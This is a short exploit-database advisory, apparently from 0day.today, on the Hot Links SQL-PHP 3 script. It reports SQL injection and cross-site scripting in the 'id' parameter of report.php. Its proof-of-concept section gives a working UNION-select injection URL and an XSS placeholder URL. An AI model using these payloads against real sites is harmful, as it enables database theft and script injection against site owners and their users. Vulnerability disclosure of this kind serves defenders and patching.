Exploit for unknown platform in category web applications
=========================================================
Hot Links SQL-PHP 3 (report.php) Multiple Vulnerabilities
=========================================================
######################
1. Information
######################
Hot Links was the initial script developed by Mr CGI Guy back in 2001 as a simple way to manage outgoing links. It intially was introduced as Hot Links Lite and was distributed for free.
######################
2. Vulnerabilities
######################
SQL Injection in "report.php" in the "id" parameter.
Cross Site Scripting in "report.php" in the "id" parameter.
######################
3. PoC
######################
http://localhost/path/report.php?id=-1/**/union/**/select/**/version(),2,3--
http://localhost/path/report.php?id=[XSS]
###########################################################
# 0day.today [2018-03-19] #